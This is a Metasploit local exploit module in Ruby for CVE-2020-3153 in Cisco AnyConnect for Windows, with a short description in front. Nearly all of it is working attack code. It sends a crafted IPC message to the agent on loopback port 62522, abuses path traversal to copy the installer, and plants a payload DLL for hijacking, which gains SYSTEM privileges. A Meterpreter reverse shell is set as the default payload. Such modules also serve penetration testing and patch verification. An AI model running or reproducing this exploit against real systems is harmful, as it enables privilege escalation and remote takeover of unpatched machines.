The installer component of Cisco AnyConnect Secure Mobility Client for Windows prior to version 4.8.02042 is vulnerable to path traversal and allows local attackers to create/overwrite files in arbitrary locations with system level privileges. The attack consists in sending a specially crafted IPC request to the TCP port 62522 on the loopback device, which is exposed by the Cisco AnyConnect Secure Mobility Agent service. This service will then launch the vulnerable installer component (vpndownloader), which copies itself to an arbitrary location before being executed with system privileges. Since vpndownloader is also vulnerable to DLL hijacking, a specially crafted DLL (dbghelp.dll) is created at the same location vpndownloader will be copied to get code execution with system privileges. This exploit has been successfully tested against Cisco AnyConnect Secure Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 10 version 1909 (x64) and Windows 7 SP1 (x86).
0ce466f922be78b19e5b1169c13ef711##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Windows::Priv
include Msf::Post::Windows::FileInfo
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco AnyConnect Priv Esc through Path Traversal',
'Description' => %q{
The installer component of Cisco AnyConnect Secure Mobility Client for Windows
prior to 4.8.02042 is vulnerable to path traversal and allows local attackers
to create/overwrite files in arbitrary locations with system level privileges.
The attack consists in sending a specially crafted IPC request to the TCP port
62522 on the loopback device, which is exposed by the Cisco AnyConnect Secure
Mobility Agent service. This service will then launch the vulnerable installer
component (`vpndownloader`), which copies itself to an arbitrary location
before being executed with system privileges. Since `vpndownloader` is also
vulnerable to DLL hijacking, a specially crafted DLL (`dbghelp.dll`) is created
at the same location `vpndownloader` will be copied to get code execution with
system privileges.
This exploit has been successfully tested against Cisco AnyConnect Secure
Mobility Client versions 4.5.04029, 4.5.05030 and 4.7.04056 on Windows 10
version 1909 (x64) and Windows 7 SP1 (x86).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Yorick Koster', # original PoC, analysis
'Antoine Goichot (ATGO)', # PoC
'Christophe De La Fuente' # msf module
],
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [
[
'Windows x86/x64 with x86 payload',
{
'Arch' => ARCH_X86
}
]
],
'Privileged' => true,
'References' =>
[
['URL', 'https://ssd-disclosure.com/ssd-advisory-cisco-anyconnect-privilege-elevation-through-path-traversal/'],
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-win-path-traverse-qO4HWBsj'],
['CVE', '2020-3153']
],
'DisclosureDate' => 'Feb 19 2020',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'windows/meterpreter/reverse_tcp',
'FileDropperDelay' => 10
}
)
)
register_options [
OptString.new('INSTALL_PATH', [
false,
'Cisco AnyConnect Secure Mobility Client installation path (where \'vpndownloader.exe\''\
' should be found). It will be automatically detected if not set.'
])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false])
]
end
# See AnyConnect IPC protocol articles:
# - https://www.serializing.me/2016/12/14/anyconnect-elevation-of-privileges-part-1/
# - https://www.serializing.me/2016/12/20/anyconnect-elevation-of-privileges-part-2/
class CIPCHeader < BinData::Record
endian :little
uint32 :id_tag, label: 'ID Tag', value: 0x4353434f
uint16 :header_length, label: 'Header Length', initial_value: -> { num_bytes }
uint16 :data_length, label: 'Data Length', initial_value: -> { parent.body.num_bytes }
uint32 :ipc_repsonse_cb, label: 'IPC response CB', initial_value: 0xFFFFFFFF
uint32 :msg_user_context, label: 'Message User Context', initial_value: 0x00000000
uint32 :request_msg_id, label: 'Request Message Id', initial_value: 0x00000002
uint32 :return_ipc_object, label: 'Return IPC Object', initial_value: 0x00000000
uint8 :message_type, label: 'Message Type', initial_value: 1
uint8 :message_id, label: 'Message ID', initial_value: 2
end
class CIPCTlv < BinData::Record
endian :big
uint8 :msg_type, label: 'Type'
uint8 :msg_index, label: 'Index'
uint16 :msg_length, label: 'Length', initial_value: -> { msg_value.num_bytes }
stringz :msg_value, label: 'Value', length: -> { msg_length }
end
class CIPCMessage < BinData::Record
endian :little
cipc_header :header, label: 'Header'
array :body, label: 'Body', type: :cipc_tlv, read_until: :eof
end
def detect_path
program_files_paths = Set.new([get_env('ProgramFiles')])
program_files_paths << get_env('ProgramFiles(x86)')
path = 'Cisco\\Cisco AnyConnect Secure Mobility Client'
program_files_paths.each do |program_files_path|
next unless file_exist?([program_files_path, path, 'vpndownloader.exe'].join('\\'))
return "#{program_files_path}\\#{path}"
end
nil
end
def sanitize_path(path)
return nil unless path
path = path.strip
loop do
break if path.last != '\\'
path.chop!
end
path
end
def check
install_path = sanitize_path(datastore['INSTALL_PATH'])
if install_path&.!= ''
vprint_status("Skipping installation path detection and use provided path: #{install_path}")
@installation_path = file_exist?([install_path, 'vpndownloader.exe'].join('\\')) ? install_path : nil
else
vprint_status('Try to detect installation path...')
@installation_path = detect_path
end
unless @installation_path
return CheckCode.Safe('vpndownloader.exe not found on file system')
end
file_path = "#{@installation_path}\\vpndownloader.exe"
vprint_status("Found vpndownloader.exe path: '#{file_path}'")
version = file_version(file_path)
unless version
return CheckCode.Unknown('Unable to retrieve vpndownloader.exe file version')
end
patched_version = Gem::Version.new('4.8.02042')
@ac_version = Gem::Version.new(version.join('.'))
if @ac_version < patched_version
return CheckCode.Appears("Cisco AnyConnect version #{@ac_version} < #{patched_version}.")
else
return CheckCode.Safe("Cisco AnyConnect version #{@ac_version} >= #{patched_version}.")
end
end
def exploit
fail_with(Failure::None, 'Session is already elevated') if is_system?
if !payload.arch.include?(ARCH_X86)
fail_with(Failure::None, 'Payload architecture is not compatible with this module. Please, select an x86 payload')
end
check_result = check
print_status(check_result.message)
if check_result == CheckCode::Safe
unless @installation_path
fail_with(Failure::NoTarget, 'Installation path not found (try to set INSTALL_PATH if automatic detection failed)')
end
unless datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Target is not vulnerable (set ForceExploit to override)')
end
print_warning('Override check result and attempt exploitation anyway')
end
cac_cmd = '"CAC-nc-install'
if @ac_version && @ac_version >= Gem::Version.new('4.7')
vprint_status('"-ipc" argument needed')
cac_cmd << "\t-ipc=#{rand_text_numeric(5)}"
else
vprint_status('"-ipc" argument not needed')
end
program_data_path = get_env('ProgramData')
dbghelp_path = "#{program_data_path}\\Cisco\\dbghelp.dll"
print_status("Writing the payload to #{dbghelp_path}")
begin
payload_dll = generate_payload_dll(dll_exitprocess: true)
write_file(dbghelp_path, payload_dll)
register_file_for_cleanup(dbghelp_path)
rescue ::Rex::Post::Meterpreter::RequestError => e
fail_with(Failure::NotFound, e.message)
end
# vpndownloader.exe will be copied to "C:\ProgramData\Cisco\" (assuming the
# normal process will copy the file to
# "C:\ProgramData\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer\XXXX.tmp\")
register_file_for_cleanup("#{program_data_path}\\Cisco\\vpndownloader.exe")
junk = Rex::Text.rand_text_alphanumeric(4)
cac_cmd << "\t#{@installation_path}\\#{junk}\\#{junk}\\#{junk}\\#{junk}\\../../../../vpndownloader.exe\t-\""
vprint_status("IPC Command: #{cac_cmd}")
cipc_msg = CIPCMessage.new
cipc_msg.body << CIPCTlv.new(
msg_type: 0,
msg_index: 2,
msg_value: cac_cmd
)
cipc_msg.body << CIPCTlv.new(
msg_type: 0,
msg_index: 6,
msg_value: "#{@installation_path}\\vpndownloader.exe"
)
vprint_status('Connecting to the AnyConnect agent on 127.0.0.1:62522')
begin
socket = client.net.socket.create(
Rex::Socket::Parameters.new(
'PeerHost' => '127.0.0.1',
'PeerPort' => 62522,
'Proto' => 'tcp'
)
)
rescue Rex::ConnectionError => e
fail_with(Failure::Unreachable, e.message)
end
vprint_status("Send the encoded IPC command (size = #{cipc_msg.num_bytes} bytes)")
socket.write(cipc_msg.to_binary_s)
socket.flush
# Give FileDropper some time to cleanup before handing over to the operator
Rex.sleep(3)
ensure
if socket
vprint_status('Shutdown the socket')
socket.shutdown
end
end
end